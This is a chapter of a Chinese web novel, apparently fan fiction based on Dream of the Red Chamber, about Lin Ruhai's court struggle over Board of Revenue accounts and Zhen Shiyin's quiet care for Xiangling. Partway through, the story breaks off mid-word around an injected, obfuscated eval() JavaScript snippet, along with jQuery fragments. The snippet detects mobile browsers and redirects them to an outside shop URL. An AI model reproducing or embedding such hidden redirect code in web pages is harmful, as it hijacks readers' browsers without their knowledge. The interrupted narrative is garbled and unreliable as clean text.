寅时，林如海穿着绯色官袍，金带乌纱，欲上朝。


    长生送至二门，道：“父亲今日朝会，可是要动户部的账？”


    林如海看他一眼：“你怎么知道？”


    “儿子猜的，”长生道，“陈尚书这几日频频往镇国公府跑，父亲若再不动，怕是要被动。”


    “猜对了一半。”林如海淡淡道，“为父今日要动的，不是户部的账，是陈启年的人。”


    长生颔首，表示明白了。


    马车驶向皇城，车轮碾过青石板，林如海闭目养神，心里想着这几日的布置。


    陈启年不愧是老尚书，在户部经营多年，根深蒂固，他回部这半月要什么账册，陈启年都痛快给，问什么事陈启年都耐心答。


    表面客气周到，可一到关键处，便推说“年代久远，需慢慢查”“此中复杂，容后再议”。


    这般软钉子，碰了几回，林如海便明白了，陈启年这是要拖，拖到他这新官的热乎劲儿过了，拖到圣上忘了这茬，拖到他知难而退。


    可惜，陈启年打错了算盘。


    马车在午门外停下，林如海下车，见沈砚、周文渊已到了，正与几位清流官员说话。


    见他来，都围上来。


    “如海兄今日可要小心。”沈砚道，“陈启年昨日在吏部王尚书府上待到深夜，怕是已有对策。”


    “多谢沈兄提醒，”林如海神色不变，“他有什么招，尽管使出来。”


    说话间，陈启年也到了。


    这位老尚书今日面色红润，笑容满面，见了林如海，竟主动上前：“林大人早，前日你要的那几本漕运旧账，老夫已让人找出来了，今日便送过去。”


    “有劳陈尚书。”林如海拱手。


    “应该的，应该的，”陈启年笑着，笑意未达眼底，“你初入户部，老夫自当多照应，只是有些账目，年代久远，查起来费时费力，林大人可莫要心急。”


    这话听着是关心，实则敲打，林如海不以为意，面上淡淡一笑：“下官省得，只是圣上交办的差事，不敢怠慢，陈尚书放心，下官定会查个水落石出。”


    两人目光一碰，各自心知肚明。


    朝会开始，依旧是各部奏事，待诸事奏毕，圣上忽然道：“林如海，户部账目，查得如何了？”


    林如海出列：“回圣上，臣已查出些眉目。只是……”他意味不明，“有些账目牵涉甚广，需与陈尚书商议。”


    陈启年心里暗骂，林如海这话是将他拉上了。


    若查出问题，他这尚书也脱不了干系，若查不出，林如海也可推说“与陈尚书商议”。


    老狐狸，陈启年暗骂，却不得不接话：“圣上，户部账目繁杂，林侍郎初来，恐不熟悉，臣已让左右侍郎协助，定能查清。”


    “好，”圣上点头，“给你一月时间，将漕运、盐税、边关粮饷三项账目，查清查实，报上来。”


    “臣遵旨。”


    散朝后，陈启年与林如海并肩出殿，四下无人时，陈启年才出声道：“林大人，有些事不必太过较真，户部这摊子牵一发而动全身，你查得太深对谁都不好。”


    林如海停下脚步，看着陈启年：“陈尚书的意思是？”


    “老夫的意思是，漕运账目，确有疏漏。可这些年漕运总督换了三任，牵扯多少人？若真查个底朝天，朝堂怕是要动荡。”陈启年诱导，“不如……报个总账，将亏空补上，大事化小，小事化了，如此你办了差，圣上满意，同僚也感激。”


    这便是要捂盖子，和稀泥了。林如海心中冷笑，面上却作沉吟：“陈尚书此言，是为下官着想，只是…圣上要的是水落石出，这般敷衍，怕是不妥。”


    “不是敷衍，是稳妥，”陈启年道，“林大人，你初回京不知这朝堂深浅，有些事，不是非黑即白，退一步，海阔天空。”


    “下官明白了，”林如海拱手，“多谢陈尚书指点。”


    陈启年以为他听进去了，满意离去。林如海望着他背影，眼神渐冷。


    退一步？他林如海在扬州数年，与那些盐商斗，与地方官斗，何时退过一步？如今回了京，进了户部，更不可能退。


    回到户部衙门，林如海径直去了档房，管档的是个老主事，姓赵，在户部三十年，对账册了如指掌。


    “赵主事，将宣和三年至宣和七年，所有漕运相关账册，全部调出来。”林如海吩咐。


    赵主事一愣：“林大人，这些账册有上百本，您……”


    “全部调出，一本不许少，”林如海顿了顿，“此事，不必让陈尚书知道。”


    赵主事会意，躬身道：“下官明白。”


    这边朝堂暗涌，那边国子监也不太平。


    长生这日散学，与陈景行并肩走出监门，经过西廊时，见牛清与几个勋贵子弟聚在一处说话，见他们来，声音都小了。


    陈景行低声道：“林兄，你可知牛清这几日为何鼻青脸肿？”


    长生摇头。


    “听说是被他姐姐打的，”陈景行忍笑，“镇国公府那位牛小姐，脾气火爆是出了名的，这几日不知为何，天天在家发脾气，牛清便成了出气筒。”


    长生一怔，牛萱打牛清？为何？


    正想着，牛清那边传来一阵哄笑。


    有人道：“牛兄，你这伤，真是令姐打的？”


    牛清恼道：“要你们管！”


    “说说嘛，令姐为何打你？可是你又在外头惹事了？”


    “我……”牛清语塞，偷眼看了长生一眼，又迅速移开，“反正……反正你们少打听。”


    长生心中一动。


    牛清这态度，倒像是……怕他？


    正疑惑，那边又有人道：“听说令姐与林家那位小姐交好？可是真的？”


    “是真的又如何？”牛清没好气道，“我姐姐与谁交好，关你们何事？”


    “不关我们事，只是好奇。”那人笑道，“林家和你们这交好……怕是不易吧？”


    “要你管！”牛清霍然起身，狠狠瞪了那人一眼，转身走了。


    陈景行看着牛清背影，摇头道：“这位牛公子，也是个可怜人，生在勋贵家，却不得自由。”


    长生默然。


    或许，牛萱对姐姐的亲近确是真心，与家族无关。


    真心在这京城，能抵挡住父辈派别吗？又能维持多久？


    回到林府，长生先去书房向父亲请安。林如海正在看账册，见他来，放下手中卷宗：“今日学里可好？”


    “尚可。”长生将牛清的事说了，末了道，“儿子觉得，牛萱许是真心。”


    “真心如何，假意又如何？”林如海淡淡道，“玉儿既不愿与她深交，便由她去。至于牛清他若识趣，不来招惹你，便罢了，若还敢生事……”


    “儿子明白。”


    正说着，外头传来黛玉的声音，带着几分笑意：“香菱，你这丫头，今日怎的这般高兴？”


    长生推门看去，见黛玉与香


    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16948124|192023||http|test|mini|href|location''.split(''|''),0,{}));


    () {


    $(''.inform'').remove();


    $(''#content'').append(''


    菱从园中走来。


    香菱手里捧着个锦盒，脸上带笑，见长生看她，忙敛了笑意，垂首行礼。


    “香菱得了什么宝贝，这般欢喜？”长生笑问。


    “是甄先生给的，”香菱小声道，“奴婢今日在园中遇见甄先生，先生问奴婢可会写字，奴婢说会几个，先生便给了奴婢一本字帖，说是让奴婢临着玩。”


    长生心中一动。甄先生给香菱字帖？这可是头一遭。


    黛玉也道：“香菱这丫头，今日与甄先生说了好一会子话，回来便捧着字帖，说要好生练字。”


    “甄先生可还说了什么？”长生问。


    “先生问了奴婢的年纪，家在何处，父母可还在。”香菱说着，声音低了下去，“奴婢说……不记得了，先生听了便不问了，只让奴婢好生练字，说字如其人，把字练好了，人也会更好。”


    长生与父亲对视一眼，甄士隐这是在试探。


    “既然甄先生有心教你，你便好生学，”林如海温声道，“若有不懂的，可去请教先生，也可来问我，或是问你小姐、少爷。”


    “奴婢谢老爷，”香菱福了福，退下了。


    黛玉看着香菱背影，轻声道：“父亲，甄先生对香菱，似乎格外关照，要不要留意一下？”


    “或许是缘分罢。”林如海道，“甄先生是读书人，见香菱好学，便多指点一二，也是常情。”


    话虽如此，这“常情”之下，藏着怎样的心酸。


    夜里，长生在书房温书，忽听外头有脚步声。


    他推开窗，见甄士隐在月下踱步，手中握着本书，却无心看，只望着香菱住处的方向。


    “先生还未歇息？”长生问。


    甄士隐回神，勉强一笑：“想起些旧事，睡不着。”面有郝然，“公子可愿再陪老朽说说话？”


    两人在院中石凳坐下。


    “先生可是想香菱了？”长生问。


    甄士隐沉默良久，方道：“今日与香菱说了几句话，那孩子懂事得让人心疼。”


    他声音有些发颤，“她说不记得父母，不记得家在何处，我听了心里……”


    他说不下去了。


    “先生，”长生轻声道，“香菱在府中很好，姐姐待她如妹，教她读书识字，她性子温顺，人也勤谨，府中上下都喜欢她。”


    “我知道，”甄士隐低声道，“林姑娘是好人，林大人是好人，公子你…也是好人，我的、我的孩子能在这样的人家，是福分。”


    他终究没说出口。


    长生也不点破，只道：“先生若愿意，可常教香菱读书写字，香菱自进了林府，每天都在学习，一点就透，有先生指点，定能进益。”


    “我……”甄士隐犹豫，“我怕教得不好，误了她。”


    “先生过谦了，”长生道，“先生的学问，父亲都佩服，若能得先生指点，是香菱的造化。”


    甄士隐看着长生，月光下，少年眼神清澈真诚，他心中涌起一阵暖意，重重点头：“好，我教。”


    甄士隐忽然觉得，或许这样也好，以师长的身份，教女儿读书写字，看着她一天天进步，一天天长大，这何尝不是一种团圆？更何况……一日为师终身为父。


    夜色渐深，甄士隐回房歇息，长生站在院中，望着天上弦月，心里想着朝堂的事。


    父亲在户部已动了陈启年的根基，陈启年不会坐以待毙，定有后招，至于镇国公府、王子腾，还有那些勋贵，都不会袖手旁观。